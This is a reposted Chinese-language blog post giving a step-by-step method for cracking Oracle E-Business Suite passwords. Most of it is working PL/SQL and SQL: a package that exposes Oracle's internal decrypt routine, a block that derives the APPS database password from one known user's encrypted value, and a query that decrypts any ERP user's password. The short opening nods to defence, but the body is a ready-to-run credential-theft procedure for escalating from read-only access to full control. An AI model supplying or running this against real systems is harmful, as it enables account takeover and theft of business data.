现在的位置: 首页 > 综合 > 正文

How to Crack Oracle Applications password

2013年02月11日 ⁄ 综合 ⁄ 共 2501字 ⁄ 字号 评论关闭
文章目录

破解Oracle EBS密码的方法早已不是什么秘密,Google上随便搜索下就会找到很多,本文的只是基于原有的方法略作改动而已。如果你是DBA,就应该思考下如何防范这种破解方法,方法本来就在那,藏着掖着也没必要。

我之前写过一篇Oracle EBS密码安全的文章相关文章:Oracle EBS密码安全的攻与防 ,也许能给你些思路。
获取Oracle EBS的密码,包括两部分:1.怎样获取数据库apps账户的密码,2.怎样获取EBS普通使用账户的密码。

前提

你不可能在一穷二白的情况下搞定所有东西,获取密码,你需要事先知道以下几点:

1.任何一个普通用户名和密码的密码,比如Vision Demo库中的,MFG / WELCOME, GUEST/ORACLE....

2.在目标环境(你要破解的环境,下文简称Target Instance),你可以通过有限的数据库权限(比如APPS_READ_ONLY账户),获取到第一步中用户对应的FND_USER.ENCRYPTED_FOUNDATION_PASSWORD;

3.一个你可以编译Package的测试/开发的EBS环境(随便的一个EBS环境,不要求一定是上边Target Instance的克隆,Vision Demo也可以),下文把这个测试/开发环境简称为Dev Instance

1. 破解APPS(Oracle DB)账户的密码

1.1 编译Package

在Dev Instance编译下边的Package,

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER AS        
  FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)        
    RETURN VARCHAR2;  
END CrackPwd;
/  
    
CREATE OR REPLACE PACKAGE BODY CrackPwd AS  
    FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)  
     RETURN VARCHAR2 AS  
     LANGUAGE JAVA   
     NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';   
END CrackPwd;
/ 

这个Package是这个破解的核心,用于解析混淆过的密码,其实Oracle要有心,就不应该把这个Java类完全放开。

1.2 获取User的ENCRYPTED_FOUNDATION_PASSWORD

在Target Instance,执行下边SQL来获取,已知用户的混淆后的密码ENCRYPTED_FOUNDATION_PASSWORD

SELECT ENCRYPTED_FOUNDATION_PASSWORD FROM APPS.FND_USER WHERE USER_NAME = 'MFG';

1.3 获取APPS账户密码

在Dev Instance,执行下边的语句

SET SERVEROUTPUT ON  
DECLARE  
guestUserPwd VARCHAR2(200);  
guestUserName VARCHAR2(100);  
guestFndPwd VARCHAR2(100);  
guestEncFndPwd VARCHAR2(100);    
delim NUMBER;  
  
BEGIN  
  guestUserPwd :='MFG/WELCOME';--The User Name and Password which you have known  
  guestEncFndPwd := 'ZGFA756A85B9DDBB1EAAD34D71DA120EA4C5E3F1E496C264EEFCF916F21B16308C067F7CD039BDE748CA2B4780DDF750DD3B';   --Get it from step 1.2
  
  guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);  
  
  IF NOT (guestFndPwd IS NULL) THEN  
    DBMS_OUTPUT.put_line(guestFndPwd);  
  END IF;  
END;

注:guestUserPwd 为你已知的用户名和密码,比如MFG/WELCOME,注意必须为大写,并且以斜杠/来风格

guestEncFndPwd是1.2步里获取的ENCRYPTED_FOUNDATION_PASSWORD

2.获取用户(Oracle ERP User)的密码

2.1 编译Package

通过1.1~1.3, 你现在已经获取数据库apps账户的密码,那么如何知道其他ERP用户的密码。首先,使用你刚刚获得的 apps账户密码,连接Target Instance。然后编译1.1那个Package。

(如果你已经有了数据库apps账户的密码了,那么无需执行1.1~1.3,直接执行2.2来获取用户密码就好了)

2.2 获取用户密码

SELECT USR.USER_NAME,
       CRACKPWD.GETPWD ((SELECT (SELECT CRACKPWD.GETPWD (FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                                         ENCRYPTED_FOUNDATION_PASSWORD)
                                   FROM DUAL) AS APPS_PASSWORD
                           FROM FND_USER
                          WHERE USER_NAME =
                                   (SELECT SUBSTR (FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                                   1,
                                                   INSTR (FND_WEB_SEC.GET_GUEST_USERNAME_PWD, '/') - 1
                                                  )
                                      FROM DUAL)),
                        USR.ENCRYPTED_USER_PASSWORD) PASSWORD
FROM FND_USER USR
WHERE USR.USER_NAME = 'OPERATIONS'; --User Name here

转载请注明出处:http://blog.csdn.net/pan_tian/article/details/9056037

抱歉!评论已关闭.